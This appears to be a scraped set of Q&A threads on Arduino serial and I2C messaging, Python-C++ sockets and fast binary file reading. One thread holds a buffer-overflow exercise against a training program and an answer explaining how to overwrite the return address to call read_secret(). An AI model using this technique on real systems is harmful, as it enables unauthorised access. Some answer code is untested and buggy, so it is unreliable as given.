I am currently working on making an arduino monitoring device. The data is collected in Python and then the string is sent via serial to the arduino.
In Python the string looks like this:
cpu1 = space_pad(int(my_info['cpu_load']), 2)
cpu2 = space_pad(int(my_info['cpu_temp']), 2)
cpu3 = space_pad(int(my_info['cpu_fan']), 5)
# Send the strings via serial to the Arduino
arduino_str = \
'A' + cpu1 + '|B' + cpu2 + '|C' + cpu3 + '|'
if serial_debug:
print(arduino_str)
else:
ser.write(arduino_str.encode())
Ideally I want to make this string as large as possible, to include 10 variables, which I want to send to the arduino.
The arduino code looks at the string and it is supposed to read parts of the string and place them neatly on a display, each in it's own reserved space.
The problem is that I get garbled results. When the string is only made out of just one variable, then it shows just fine, where it should, as it should.
When adding an additional variable to the string, the code breaks and it mixes the results or displays them chaotically. My variables are all clean, just numbers, nothing fancy.
Below is the code I use on the arduino
#include <Wire.h>
#include <LiquidCrystal_I2C.h> // Library for LCD
LiquidCrystal_I2C lcd(0x27,20,4); // I2C address 0x27, 20 column and 4 rows
String inputString = ""; // String for buffering the message
boolean stringComplete = false; // Indicates if the string is complete
unsigned long previousUpdate = 0; // Long to keep the time since last received message
void printInitialLCDStuff() {
lcd.setCursor(0, 0);
lcd.print("CPU ");
lcd.setCursor(7, 0);
lcd.print("%");
lcd.setCursor(11, 0);
lcd.print("C");
lcd.setCursor(17, 0);
lcd.print("RPM");
lcd.setCursor(0, 1);
lcd.print("GPU ");
lcd.setCursor(7, 1);
lcd.print("%");
lcd.setCursor(11, 1);
lcd.print("C");
lcd.setCursor(17, 1);
lcd.print("RPM");
lcd.setCursor(0, 2);
lcd.print("MEM");
lcd.setCursor(8, 2);
lcd.print("MB");
lcd.setCursor(17, 2);
lcd.print("PWM");
lcd.setCursor(0, 3);
lcd.print("RAM ");
lcd.setCursor(8, 3);
lcd.print("GBU");
lcd.setCursor(17, 3);
lcd.print("GBF");
}
void serialEvent() {
while (Serial.available()) {
char inChar = (char)Serial.read();
inputString += inChar;
if (inChar == '|') {
stringComplete = true;
}
}
}
void setup() {
// Setup LCD
lcd.init(); //initialize the lcd
lcd.backlight(); //open the backlight
lcd.setCursor(0, 0);
printInitialLCDStuff();
// Setup serial
Serial.begin(9600);
inputString.reserve(200);
}
void loop() {
serialEvent();
if (stringComplete) {
// CPU1
int cpu1StringStart = inputString.indexOf("A");
int cpu1StringLimit = inputString.indexOf("|");
String cpu1String = inputString.substring(cpu1StringStart + 1, cpu1StringLimit);
lcd.setCursor(4, 0);
lcd.print(cpu1String);
// CPU2
int cpu2StringStart = inputString.indexOf("B", cpu1StringLimit);
int cpu2StringLimit = inputString.indexOf("|", cpu2StringStart);
String cpu2String = inputString.substring(cpu2StringStart + 1, cpu2StringLimit);
lcd.setCursor(9, 0);
lcd.print(cpu2String);
// CPU3
int cpu3StringStart = inputString.indexOf("C", cpu2StringLimit);
int cpu3StringLimit = inputString.indexOf("|", cpu3StringStart);
String cpu3String = inputString.substring(cpu3StringStart + 1, cpu3StringLimit);
lcd.setCursor(13, 0);
lcd.print(cpu3String);
inputString = "";
stringComplete = false;
previousUpdate = millis();
}
}
My code is very dirty and it mostly an adaptation of another code, because while I can read code, I am terrible at writing it. Apologies if I made horrible mistakes that would make anybody cringe. I admit I am just dabbling with coding. This is why I made notes in the code often.
I expect my display to show like this:
CPU 60% 45C 900RPM
Where
cpu1=60
cpu2=45
cpu3=900
The "CPU" "%", "C" and "RPM" are written by the arduino on printInitialLCDStuff() { and not Python.
Instead I get this
CPU B45% B45|B45|C
and then the RPM is listed on line 3 at (0,0) as "900|"
Ideally I want to expand the string sorting to collect about 10 variables.
It looks to me like the problem is in the arduino code, since the Python script kinda checks out and outputs the string correctly. But I could be wrong.
The question is: am I using the wrong code to extract these variables and place them in their reserved space on the display?
Should I use something else to get the job done? I have been looking at documentation for the past 3 days but I couldn't find someone with a similar case. I found some questions here, but again, not quite what I am looking for.
Any help is appreciated. I am so frustrated with this code after trying hours daily for the past days that I am willing to reward anyone that can assist me with this code with a steam digital gift card as way to show my appreciation.
Best regards,
M
I figured out. Instead of trying to separate the string and allocate it all in a preselected space I just made one single string and just edited the string format itself. Now I have a 80 char string and is auto arranged by (0, 20), (20, 40), (40, 60) and (60, 80).
Because this is just a simple resource monitor I didn't really need anything fancy, just to display the info on the screen.
Here is what I did
# Prepare CPU string line #1
cpu1 = space_pad(int(my_info['cpu_load']), 3) + '% '
cpu2 = space_pad(int(my_info['cpu_temp']), 2) + 'C '
cpu3 = space_pad(int(my_info['cpu_fan']), 4) + 'RPM'
CPU = 'CPU ' + cpu1 + cpu2 + cpu3
# Prepare GPU string line #2
gpu1 = space_pad(int(my_info['gpu_load']), 3) + '% '
gpu2 = space_pad(int(my_info['gpu_temp']), 2) + 'C '
gpu3 = space_pad(int(my_info['gpu_fan']), 4) + 'RPM'
GPU1 = 'GPU ' + gpu1 + gpu2 + gpu3
# Prepare GPU string line #3
gpu4 = space_pad(int(my_info['gpu_mem']), 4) + 'MB '
gpu5 = space_pad(int(my_info['gpu_pwm']), 3) + '% PWM'
GPU2 = 'MEM ' + gpu4 + gpu5
# Prepare RAM strng line #4
ram1 = space_pad(float(my_info['ram_used']), 4) + 'GBU '
ram2 = space_pad(float(my_info['ram_free']), 4) + 'GB'
RAM = 'RAM ' + ram1 + ram2
# Send the strings via serial to the Arduino
arduino_str = \
CPU + GPU1 + GPU2 + RAM + 'F'
if serial_debug:
print(arduino_str)
else:
ser.write(arduino_str.encode())
Because the '|' separator was constantly showing up as the last character of the string, I just switched to a letter that I wanted to appear instead, basically duck-taping it. I used the character 'F' which also acts as the letter and is shown in the string.
As for the Arduino code:
#include <Wire.h>
#include <LiquidCrystal_I2C.h> // Library for LCD
LiquidCrystal_I2C lcd(0x27,20,4); // I2C address 0x27, 20 column and 4 rows
String inputString = ""; // String for buffering the message
boolean stringComplete = false; // Indicates if the string is complete
unsigned long previousUpdate = 0; // Long to keep the time since last received message
void printInitialLCDStuff() {
}
void serialEvent() {
while (Serial.available()) {
char inChar = (char)Serial.read();
inputString += inChar;
if (inChar == 'F') {
stringComplete = true;
}
}
}
void setup() {
// Setup LCD
lcd.init(); //initialize the lcd
lcd.backlight(); //open the backlight
printInitialLCDStuff();
lcd.setCursor(0, 0);
lcd.print("Arduino PC Monitor");
lcd.setCursor(0, 1);
lcd.print("Waiting for data...");
lcd.setCursor(12, 3);
lcd.print("Ver 1.0");
// Setup serial
Serial.begin(9600);
inputString.reserve(200);
}
void loop() {
serialEvent();
if (stringComplete) {
// 1st line
String cpuString = inputString.substring(0, 20);
lcd.setCursor(0, 0);
lcd.print(cpuString);
// 2nd line
String gpu1String = inputString.substring(20, 40);
lcd.setCursor(0, 1);
lcd.print(gpu1String);
// 3rd line
String gpu2String = inputString.substring(40, 60);
lcd.setCursor(0, 2);
lcd.print(gpu2String);
// 4th line
String ramString = inputString.substring(60, 80);
lcd.setCursor(0, 3);
lcd.print(ramString);
inputString = "";
stringComplete = false;
previousUpdate = millis();
}
}
Yes, it is that lazy, it is almost as sophisticated as counting on your fingers. I love how simple it is. Anything can be edited on the fly and all it takes is minimal knowledge.
I can understand if I get banned for being this lazy.
Thank you for your help. I have noted the advice on string splits if I need to do something more complicated.
Best regards,
M
Your code can be changed to make it work, however, it would be like patching it up. I think it is better to take a different approach.
First, on your Python code, the prefix A, B are become redundant and not helpful on the receiving side to parse the data. If you format your data as a string with | as the separator, it make it easier to parse, and it is also much easier to create a string like that in Python.
arduino_str = "{}|{}|{}|{}|{}|{}|{}|{}|{}|{}".format(
data0, data1, data2, data3, data4,
data5, data6, data7, data8, data9)
if serial_debug:
print(arduino_str)
else:
ser.write(arduino_str.encode())
On the Arduino side, Serial.readStringUntil() would make the reading entire string until a \n (end of the string) is encountered. Once the entire string is received, you can use the strtok() function in C++ to split the string by the delimiter (in this case it is |) into an array, so the splitted array would looks like this:
splitted[0] = data0;
splitted[1] = data1;
....
splitted[9] = data9;
You can then print the data in the array to the LCD.
#include <Wire.h>
#include <LiquidCrystal_I2C.h> // Library for LCD
#define NUMBER_OF_DATA 10
LiquidCrystal_I2C lcd(0x27,20,4); // I2C address 0x27, 20 column and 4 rows
String incomingString = "";
void setup()
{
// Setup LCD
lcd.init();
lcd.backlight();
lcd.setCursor(0, 0);
lcd.setCursor(0, 0);
lcd.print("CPU % C RPM");
lcd.setCursor(0, 1);
lcd.print("GPU % C RPM");
lcd.setCursor(0, 2);
lcd.print("MEM MB PWM");
lcd.setCursor(0, 3);
lcd.print("RAM GBU GBF");
// Setup serial
Serial.begin(9600);
}
void loop()
{
// read data from Serial until '\n' is received
while (Serial.available()) {
incomingString = Serial.readBytesUntil('\n');
}
if (incomingString) {
// convert the String object to a c_string
char *c_string = incomingString.c_str();
// make a copy of received data so that incoming data would not override the received data
char temp[strlen(c_string)+1];
strcpy(temp, c_string);
incomingString = "";
// parse the received string separated by '|' into an array
char splitted[NUMBER_OF_DATA][10] = {'\0'}; // initialise an array of 10-ch string
int i = 0;
char *p = strtok(temp, '|'); // parse first element in the string
while(p != NULL) { // loop through the string to fill the array
splitted[i++] = p;
p = strtok(NULL, '|');
}
// update LCD with the data in the array
lcd.setCursor(4, 0);
lcd.print(splitted[0]);
lcd.setCursor(9, 0);
lcd.print(splitted[1]);
lcd.setCursor(13, 0);
lcd.print(splitted[2]);
// print the rest of data
lcd.setCursor(13, 3);
lcd.print(splitted[9]);
}
}
I wrote this based on your code and have not debug on an Arduino yet, so it might need some debugging if it is not work out-of-the-box. I hope this help you in learn some trick and a little bit of C++ string and char array.
Related
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 3 years ago.
Improve this question
I’m reading a file in C++ and Python as a binary file. I need to divide the binary into blocks, each 6 bytes. For example, if my file is 600 bytes, the result should be 100 blocks, each 6 bytes.
I have tried struct (in C++ and Python) and array (Python). None of them divide the binary into blocks of 6 bytes. They can only divide the binary into blocks each power of two (1, 2, 4, 8, 16, etc.).
The array algorithm was very fast, reading 1 GB of binary data in less than a second as blocks of 4 bytes. In contrast, I used some other methods, but all of them are extremely slow, taking tens of minutes to do it for a few megabytes.
How can I read the binary as blocks of 6 bytes as fast as possible? Any help in either C++ or Python will be great. Thank you.
EDIT - The Code:
struct Block
{
char data[6];
};
class BinaryData
{
private:
char data[6];
public:
BinaryData() {};
~BinaryData() {};
void readBinaryFile(string strFile)
{
Block block;
ifstream binaryFile;
int size = 0;
binaryFile.open(strFile, ios::out | ios::binary);
binaryFile.seekg(0, ios::end);
size = (int)binaryFile.tellg();
binaryFile.seekg(0, ios::beg);
cout << size << endl;
while ( (int)binaryFile.tellg() < size )
{
cout << binaryFile.tellg() << " , " << size << " , " <<
size - (int)binaryFile.tellg() << endl;
binaryFile.read((char*)block.data,sizeof(block.data));
cout << block.data << endl;
//cin >> block.data;
if (size - (int)binaryFile.tellg() > size)
{
break;
}
}
binaryFile.close();
}
};
Notes :
in the file the numbers are in big endian ( remark )
the goal is to as fast as possible read them then sort them in ascending order ( remark )
Let's start simple, then optimize.
Simple Loop
uint8_t array1[6];
while (my_file.read((char *) &array1[0], 6))
{
Process_Block(&array1[0]);
}
The above code reads in a file, 6 bytes at a time and sends the block to a function.
Meets the requirements, not very optimal.
Reading Larger Blocks
Files are streaming devices. They have an overhead to start streaming, but are very efficient to keep streaming. In other words, we want to read as much data per transaction to reduce the overhead.
static const unsigned int CAPACITY = 6 * 1024;
uint8_t block1[CAPACITY];
while (my_file.read((char *) &block1[0], CAPACITY))
{
const size_t bytes_read = my_file.gcount();
const size_t blocks_read = bytes_read / 6;
uint8_t const * block_pointer = &block1[0];
while (blocks_read > 0)
{
Process_Block(block_pointer);
block_pointer += 6;
--blocks_read;
}
}
The above code reads up to 1024 blocks in one transaction. After reading, each block is sent to a function for processing.
This version is more efficient than the Simple Loop, as it reads more data per transaction. Adjust the CAPACITY to find the optimal size on your platform.
Loop Unrolling
The previous code reduces the first bottleneck of input transfer speed (although there is still room for optimization). Another technique is to reduce the overhead of the processing loop by performing more data processing inside the loop. This is called loop unrolling.
const size_t bytes_read = my_file.gcount();
const size_t blocks_read = bytes_read / 6;
uint8_t const * block_pointer = &block1[0];
while ((blocks_read / 4) != 0)
{
Process_Block(block_pointer);
block_pointer += 6;
Process_Block(block_pointer);
block_pointer += 6;
Process_Block(block_pointer);
block_pointer += 6;
Process_Block(block_pointer);
block_pointer += 6;
blocks_read -= 4;
}
while (blocks_read > 0)
{
Process_Block(block_pointer);
block_pointer += 6;
--blocks_read;
}
You can adjust the quantity of operations in the loop, to see how it affects your program's speed.
Multi-Threading & Multiple Buffers
Another two techniques for speeding up the reading of the data, are to use multiple threads and multiple buffers.
One thread, an input thread, reads the file into a buffer. After reading into the first buffer, the thread sets a semaphore indicating there is data to process. The input thread reads into the next buffer. This repeats until the data is all read. (For a challenge, figure out how to reuse the buffers and notify the other thread of which buffers are available).
The second thread is the processing thread. This processing thread is started first and waits for the first buffer to be completely read. After the buffer has the data, the processing thread starts processing the data. After the first buffer has been processed, the processing thread starts on the next buffer. This repeats until all the buffers have been processed.
The goal here is to use as many buffers as necessary to keep the processing thread running and not waiting.
Edit 1: Other techniques
Memory Mapped Files
Some operating systems support memory mapped files. The OS reads a portion of the file into memory. When a location outside the memory is accessed, the OS loads another portion into memory. Whether this technique improves performance needs to be measured (profiled).
Parallel Processing & Threading
Adding multiple threads may show negligible performance gain. Computers have a data bus (data highway) connecting many hardware devices, including memory, file I/O and the processor. Devices will be paused to let other devices use the data highway. With multiple cores or processors, one processor may have to wait while the other processor is using the data highway. This waiting may cause negligible performance gain when using multiple threads or parallel processing. Also, the operating system has overhead when constructing and maintaining threads.
Try that, the input file is received in argument of the program, as you said I suppose the the 6 bytes values in the file are written in the big endian order, but I do not make assumption for the program reading the file then sorting and it can be executed on both little and big endian (I check the case at the execution)
#include <iostream>
#include <fstream>
#include <vector>
#include <cstdint>
#include <algorithm>
#include <limits.h> // CHAR_BIT
using namespace std;
#if CHAR_BIT != 8
# error that code supposes a char has 8 bits
#endif
int main(int argc, char ** argv)
{
if (argc != 2)
cerr << "Usage: " << argv[1] << " <file>" << endl;
else {
ifstream in(argv[1], ios::binary);
if (!in.is_open())
cerr << "Cannot open " << argv[1] << endl;
else {
in.seekg(0, ios::end);
size_t n = (size_t) in.tellg() / 6;
vector<uint64_t> values(n);
uint64_t * p = values.data(); // for performance
uint64_t * psup = p + n;
in.seekg(0, ios::beg);
int i = 1;
if (*((char *) &i)) {
// little endian
unsigned char s[6];
uint64_t v = 0;
while (p != psup) {
if (!in.read((char *) s, 6))
return -1;
((char *) &v)[0] = s[5];
((char *) &v)[1] = s[4];
((char *) &v)[2] = s[3];
((char *) &v)[3] = s[2];
((char *) &v)[4] = s[1];
((char *) &v)[5] = s[0];
*p++ = v;
}
}
else {
// big endian
uint64_t v = 0;
while (p != psup) {
if (!in.read(((char *) &v) + 2, 6))
return -1;
*p++ = v;
}
}
cout << "file successfully read" << endl;
sort(values.begin(), values.end());
cout << "values sort" << endl;
// DEBUG, DO ON A SMALL FILE ;-)
for (auto v : values)
cout << v << endl;
}
}
}
So, I'm trying to exploit this program that has a buffer overflow vulnerability to get/return a secret behind a locked .txt (read_secret()).
vulnerable.c //no edits here
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void read_secret() {
FILE *fptr = fopen("/task2/secret.txt", "r");
char secret[1024];
fscanf(fptr, "%512s", secret);
printf("Well done!\nThere you go, a wee reward: %s\n", secret);
exit(0);
}
int fib(int n)
{
if ( n == 0 )
return 0;
else if ( n == 1 )
return 1;
else
return ( fib(n-1) + fib(n-2) );
}
void vuln(char *name)
{
int n = 20;
char buf[1024];
int f[n];
int i;
for (i=0; i<n; i++) {
f[i] = fib(i);
}
strcpy(buf, name);
printf("Welcome %s!\n", buf);
for (i=0; i<20; i++) {
printf("By the way, the %dth Fibonacci number might be %d\n", i, f[i]);
}
}
int main(int argc, char *argv[])
{
if (argc < 2) {
printf("Tell me your names, tricksy hobbitses!\n");
return 0;
}
// printf("main function at %p\n", main);
// printf("read_secret function at %p\n", read_secret);
vuln(argv[1]);
return 0;
}
attack.c //to be edited
#!/usr/bin/env bash
/task2/vuln "$(python -c "print 'a' * 1026")"
I know I can cause a segfault if I print large enough string, but that doesn't get me anywhere. I'm trying to get the program to execute read_secret by overwriting the return address on the stack, and returns to the read_secret function, instead of back to main.
But I'm pretty stuck here. I know I would have to use GDB to get the address of the read_secret function, but I'm kinda confused. I know that I would have to replace the main() address with the read_secret function's address, but I'm not sure how.
Thanks
If you want to execute a function through a buffer overflow vulnerability you have to first identify the offset at which you can get a segfault. In your case I assume its 1026. The whole game is to overwrite the eip(what tells the program what to do next) and then add your own instruction.
To add your own instruction you need to know the address of said instruction and then so in gdb open your program and then type in:
x function name
Then copy the address. You then have to convert it to big or little endian format. I do it with the struct module in python.
import struct
struct.pack("<I", address) # for little endian for big endian its different
Then you have to add it to your input to the binary so something like:
python -c "print 'a' * 1026 + 'the_address'" | /task2/vuln
#on bash shell, not in script
If all of this doesnt work then just add a few more characters to your offset. There might be something you didnt see coming.
python -c "print 'a' * 1034 + 'the_address'" | /task2/vuln
Hope that answers your question.
I have been attempting to send an array from Python to C++ using a socket however have kept running into issues.
Python side there are issues sending an array directly such as pickle not being compatible with C++, as such the only semi-reliable method I have found is sending it as a string:
import socket
import sys
import random
# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('localhost', 5555)
print >>sys.stderr, 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Message to be sent to C++
# message = [random.randint(1, 10),random.randint(1, 10),random.randint(1, 10)]
i = 0
while i < 5:
a_converted = (random.randint(1,255), random.randint(1,255), random.randint(1,255))
#a_converted = 'words'
print a_converted
# Sending message to C++
sock.sendall(str(a_converted))
i += 1
sock.close()
The issue with sending it as a string is that I actually require it as an double style array on the other side. The C++ code I have is currently the following:
#include "stdafx.h"
#include <iostream>
#include <winsock2.h>
#include <WS2tcpip.h> //for SOCKET communication
#include <sstream>
#include <stdlib.h>
//Linking Ws2_32.lib, Mswsock.lib, Advapi32.lib
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#pragma warning(disable:4996)//to disable warning message
using namespace std;
int main()
{
WSADATA WSAData;
SOCKET server, client;
SOCKADDR_IN serverAddr, clientAddr;
WSAStartup(MAKEWORD(2, 0), &WSAData);
server = socket(AF_INET, SOCK_STREAM, 0);
serverAddr.sin_addr.s_addr = INADDR_ANY;
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(5555);
::bind(server, (SOCKADDR *)&serverAddr, sizeof(serverAddr));
listen(server, 0);
cout << "Listening for incoming connections..." << endl;
string a_converted[1000];
int clientAddrSize = sizeof(clientAddr);
if ((client = accept(server, (SOCKADDR *)&clientAddr, &clientAddrSize)) != INVALID_SOCKET)
{
cout << "Client connected!" << endl;
// Loop
int i = 0;
while (i<5) {
recv(client, (char*)a_converted, sizeof(a_converted), 0);
char char_array[sizeof(a_converted)];
strcpy(char_array, (char*)a_converted);
memset(a_converted, 0, sizeof(a_converted));
cout << "Client says: " << char_array << endl;
cout << endl;
i = i++;
}
closesocket(client);
WSACleanup();
cout << "Client disconnected." << endl;
}
cout << "Press Enter to continue" << endl;
getchar();
}
The information is received and correct but I have been unable to correctly convert the data. I have tried to use atof and similar functions to convert on the C++ side but the presence of commas and brackets from the Python side seem to result in it erroring and giving zeros and I've had little luck trying to remove them from the string.
I can't help but think there must be a better way of doing this but I am really new to coding so would not be surprised if I am overlooking something.
I would appreciate either an explanation of how to send an array directly that C++ can read from Python or a way to convert the string it sends in C++.
The most straight-forward way to accomplish this is to employ python's struct module to encode your array into a binary format that will be convenient to receive in C++.
For example, to send an array of 32-bit integers, you might do something like this:
import struct
def encode_int_array(int_list):
buf = struct.pack("!I" + "I" * len(int_list), len(int_list), *int_list)
return buf
Explanation: The ! character specifies the byte-ordering to be used in the encoding (here, big-endian / "network" order), the I character is used here for the array length, then again once for each integer to be encoded. The actual array length and each integer is then packed.
So, if you called this function with the list [1, 2, 3], the format string given to pack will be "!IIII" and the the remaining arguments will be 3, 1, 2, 3 (the first '3' being the array length to encode). The end result is a bytes string containing the encoded 32-bit (4-byte) integers:
|ArrayLen|Integer0|Integer1|Integer2|....
Use the above along with sendall to transmit the resulting buffer:
sock.sendall(encode_int_array(
[random.randint(1,255), random.randint(1,255), random.randint(1,255)]))
On the C++ side, first read 4 bytes (to get the array length), convert the array length to native byte ordering, then read an additional 4 * array-length bytes to get all the integers; then convert each of those to native byte order. You should be careful never to assume that recv will receive all of the data you want. The SOCK_STREAM semantics do not guarantee that. So you need to ensure you receive exactly the number you expected.
The C++ side might look something like this:
#include <cstdint> // uint32_t et al definitions
// Function to receive exactly "len" bytes.
// Returns number of bytes received, or -1 on EOF or error
int recv_all(int sock, char *buf, unsigned int len)
{
unsigned int n = 0;
int status;
while (n < len) {
status = recv(sock, buf + n, len - n);
if (status == 0) {
// Unexpected End of File
return -1; // Or whatever
} else if (status < 0) {
// Error
return -1; // Need to look at errno to find out what happened
} else {
n += status;
}
}
return (int)n;
}
...
int status;
// Receive array length from client
uint32_t array_len;
status = recv_all(client, reinterpret_cast<char *>(&array_len), sizeof array_len);
if (status < 0) {
// handle error
}
array_len = ntohl(array_len); // Convert length to native byte order
// Receive array contents from client
uint32_t int_array[array_len];
status = recv_all(client, reinterpret_cast<char *>(&int_array[0]), sizeof int_array);
if (status < 0) {
// handle error
}
for (unsigned int n = 0; n < array_len; ++n)
int_array[n] = ntohl(int_array[n]); // Convert to native byte order
(If you only wanted to send single byte integers, substitute 'B' for 'I' in the pack calls above, and the C++ below will also need to be adjusted accordingly -- with uint8_t in place of uint32_t, say.)
This sounds like a serialization problem. As you want to connect two different languages, I suggest a standardized, well known format like JSON or XML. There are lots of libraries for converting JSON or XML into objects and vice versa.
Ultimate, dead-end solution is, to pack the data into a binary file and send this over the socket. Try external libraries for JSON or XML first
Edit:
JSON describes (in a very simple way), how objects can be saved as text (serialization). It is as simple as
{
"firstName": "John",
"lastName": "Smith",
"isAlive": true,
"age": 27,
"address": {
"streetAddress": "21 2nd Street",
"city": "New York",
"state": "NY",
"postalCode": "10021-3100"
},
"phoneNumbers": [
{
"type": "home",
"number": "212 555-1234"
},
{
"type": "office",
"number": "646 555-4567"
},
{
"type": "mobile",
"number": "123 456-7890"
}
],
"children": [],
"spouse": null
}
(taken from https://en.wikipedia.org/wiki/JSON)
You can imagine, it is a very straight forward process to read from the text to an object again (deserialization). There are libraries there which will do the job for you. This means for your project:
find a python JSON library which serializes your objects into JSON format
find a c++ JSON library which deserializes your data to an object
I have seen this in use, as every data type is treated as a string to send it, and on the deserialization side, you need to decice for each case which data type it really is (converting the string to double or int or float or bool etc..)
You need to convert String in python to Bytes while
sock.sendall
Refer Python: convert string to byte array
Based on your python syntax, it should be python 2.
Python 3 can easily find and insist to convert into Bytes while sendall.
In python 2, you can use bytearray like
sock.sendall (bytearray(str(a_converted)))
In python 3, you can call encode which defaults to UTF-8 while converting to bytes.
sock.sendall (str(a_converted).encode())
I have a DHT11 sensor connected to a Yún shield, and I am reading data from the sensor using DHT library:
indoorHumidity = dhtBedRom.readHumidity();
// Read temperature as Celsius
indorTempinC = dhtBedRom.readTemperature();
// Read temperature as Fahrenheit
indorTempinF = dhtBedRom.readTemperature(true);
// Compute heat index, Must send in temp in Fahrenheit!
hi = dhtBedRom.computeHeatIndex(indorTempinF, indoorHumidity);
hIinCel = (hi + 40) / 1.8 - 40;
dP = (dewPointFast(indorTempinC, indoorHumidity));
dPF = ((dP * 9) / 5) + 32;
and then I am trying to put the data dew point and temperature, humidity and heat index to BridgeClient key so I can read it in a python program that renders HTML and displays using Python's bottle wsgi framework.
These lines produce errors:
Bridge.put(DEWPNTkey, dP);
Bridge.put(HEADINDXkey, hIinCel);
saying:
no matching function for call to 'SerialBridgeClass::put(String&, float&)'
The Bridge.put() method requires a char or a string as its second parameter. So we can use the String constructor to do that.
void setup()
{
Serial.begin(115200); // To test this make sure your serial monitor's baud matches this, or change this to match your serial monitor's baud rate.
double floatVal = 1234.2; // The value we want to convert
// Using String()
String arduinoString = String(floatVal, 4); // 4 is the decimal precision
Serial.print("String(): ");
Serial.println(arduinoString);
// You would use arduinoString now in your Bridge.put() method.
// E.g. Bridge.put("Some Key", arduinoString)
//
// In your case arduinoString would have been dP or hIinCel.
// In case you need it as a char* at some point
char strVal[arduinoString.length() + 1]; // +1 for the null terminator.
arduinoString.toCharArray(strVal, arduinoString.length() + 1);
Serial.print("String() to char*: ");
Serial.println(strVal);
}
void loop()
{
}
And we get:
String(): 1234.2000
String() to char*: 1234.2000
Go here to read about the null terminator.
This is the code I am currently using to send and receive int values from a RaspberryPi to an Arduino using i2C. It works fine for values 0-255, but because of the 1 byte limit, anything larger fails.
To circumvent this, I'd like to send and receive string values instead, and then convert back to int if necessary.
What changes would I need to make in the following?
Here is my RPi Python code
import smbus
import time
# for RPI version 1, use "bus = smbus.SMBus(0)"
bus = smbus.SMBus(1)
# This is the address we setup in the Arduino Program
address = 0x04
def writeNumber(value):
bus.write_byte(address, value)
# bus.write_byte_data(address, 0, value)
return -1
def readNumber():
number = bus.read_byte(address)
# number = bus.read_byte_data(address, 1)
return number
while True:
try:
var = int(raw_input("Enter 1 - 9: "))
except ValueError:
print "Could you at least give me an actual number?"
continue
writeNumber(var)
print "RPI: Hi Arduino, I sent you ", var
# sleep one second
#time.sleep(1)
number = readNumber()
print "Arduino: Hey RPI, I received a digit ", number
print
And here is my Arduino code
#include <Wire.h>
#define SLAVE_ADDRESS 0x04
int number = 0;
int state = 0;
void setup() {
pinMode(13, OUTPUT);
Serial.begin(9600); // start serial for output
// initialize i2c as slave
Wire.begin(SLAVE_ADDRESS);
// define callbacks for i2c communication
Wire.onReceive(receiveData);
Wire.onRequest(sendData);
Serial.println("Ready!");
}
void loop() {
delay(100);
}
// callback for received data
void receiveData(int byteCount){
while(Wire.available()) {
number = Wire.read();
if (Wire.available() > 1) // at least 2 bytes
{
number = Wire.read() * 256 + Wire.read();
}
Serial.print("data received: ");
Serial.println(number);
//sendData();
if (number == 1){
if (state == 0){
digitalWrite(13, HIGH); // set the LED on
state = 1;
}
else{
digitalWrite(13, LOW); // set the LED off
state = 0;
}
}
}
}
// callback for sending data
void sendData(){
Wire.write(number);
}
This problem essentially has two parts: splitting an integer into its bytes and reassembling an integer from bytes. These parts must be replicated on both the Pi and Arduino. I'll address the Pi side first, in Python:
Splitting an integer:
def writeNumber(value):
# assuming we have an arbitrary size integer passed in value
for character in str(val): # convert into a string and iterate over it
bus.write_byte(address, ord(character)) # send each char's ASCII encoding
return -1
Reassembling an integer from bytes:
def readNumber():
# I'm not familiar with the SMbus library, so you'll have to figure out how to
# tell if any more bytes are available and when a transmission of integer bytes
# is complete. For now, I'll use the boolean variable "bytes_available" to mean
# "we are still transmitting a single value, one byte at a time"
byte_list = []
while bytes_available:
# build list of bytes in an integer - assuming bytes are sent in the same
# order they would be written. Ex: integer '123' is sent as '1', '2', '3'
byte_list.append(bus.read_byte(address))
# now recombine the list of bytes into a single string, then convert back into int
number = int("".join([chr(byte) for byte in byte_list]))
return number
Arduino Side, in C
Split an Integer:
void sendData(){
int i = 0;
String outString = String(number); /* convert integer to string */
int len = outString.length()+1 /* obtain length of string w/ terminator */
char ascii_num[len]; /* create character array */
outString.toCharArray(ascii_num, len); /* copy string to character array */
for (i=0; i<len); ++i){
Wire.write(ascii_num[i]);
}
}
Reassembling a received Integer:
Note: I'm having some trouble understanding what your other code in this routine is doing, so I'm going to reduce it to just assembling the integer.
void receiveData(int byteCount){
int inChar;
String inString = "";
/* As with the Python receive routine, it will be up to you to identify the
terminating condition for this loop - "bytes_available" means the same thing
as before */
while(bytes_available){
inChar = Wire.read();
inString += char(inChar);
}
number = inString.toInt();
}
I don't have the materials on hand to test this, so it's possible I've gotten the byte order flipped in one routine or another. If you find stuff coming in or out backwards, the easiest place to fix it is in the Python script by using the built-in function reversed() on the strings or lists.
References (I used some code from the Arduino Examples):
Arduino String objects
Arduino String Constructors
Python Built-ins chr() and ord()
Check the following Link:
[http://www.i2c-bus.org/][1]
When I was sending data back and forward using I2C I was converting the string characters to bytearrays and viceversa. So since you are always sending bytes. It will always work since you are sending numbers between 0-255.
Not sure this helps but at least may give you an idea.
You could convert the number to a string of digits like you said. But you could also send the raw bytes.
String of digits
Advantages
Number can have infinite digits. Note that when Arduino reads the number as a string, it is infinite, but you can't convert it all to integer if it overflows the 16-bit range (or 32-bit for Due).
Disadvantages
Variable size, thus requiring more effort in reading.
Waste of bytes, because each decimal digit would be a byte, plus the null-terminator totalizing (digits + 1) size.
Having to use decimal arithmetic (which really is only useful for human counting), note that a "number to string" operation also uses decimal arithmetic.
You can't send/receive negative numbers (unless you send the minus signal, wasting more time and bytes).
Raw bytes
Advantages
Number of bytes sent for each integer is always 4.
You can send/receive negative numbers.
The bitwise arithmetic in C++ for extracting each byte from the number is really fast.
Python already has the struct library which packs/unpacks each byte in a number to a string to send/receive, so you don't need to do the arithmetic like in C++.
Disadvantages
Number has a limited range (signed 32-bit integer in our case, which ranges from -2147483648 to 2147483647). But it doesn't matter because no Arduino can handle more than 32-bit anyways.
So I would use the raw bytes method, which I can provide some untested functions here:
import struct
# '<i' stands for litle-endian signed integer
def writeNumber(value):
strout = struct.pack('<i', value)
for i in range(4):
bus.write_byte(address, strout[i])
return -1
def readNumber():
strin = ""
for _ in range(4):
strin += bus.read_byte(address)
return struct.unpack('<i', strin)[0]
And the Arduino part:
void receiveData(int byteCount)
{
